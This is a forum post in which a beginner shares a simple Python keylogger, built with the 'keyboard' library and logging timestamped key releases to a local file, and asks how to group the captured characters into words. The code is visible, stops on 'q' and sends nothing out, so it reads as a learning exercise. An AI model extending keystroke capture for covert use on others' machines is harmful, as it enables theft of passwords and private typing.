Author

Topic: issues with my keylogger project (Read 40 times)

newbie
Activity: 11
Merit: 1
May 13, 2024, 12:27:20 PM
#1
I recently ventured into cybersecurity and I recently took on a project to create a keylogger using python programming language, And I am having a few difficulties in modifying my script. I currently make use of kali Linux OS on a virtual machine. Below is the python script I was able to create however I am a little stuck in making modifications to the code so that the key logger  captures and stores the data back in form of group of words instead of individual characters and their time stamp.

Code:
import keyboard
import datetime

log_file= 'keylog.txt'

def write_to_log(key):
    f=open(log_file, 'a')
    f.write(f'{datetime.datetime.now()}: {key}\n')
    f.close

def start_keylogger():
    print('keylogger started. Press "q" to quit')
    keyboard.on_release(write_to_log)

    keyboard.wait('q')

    keyboard.unhook_all()
    print('keylogger has been stopped.')

start_keylogger()
Jump to: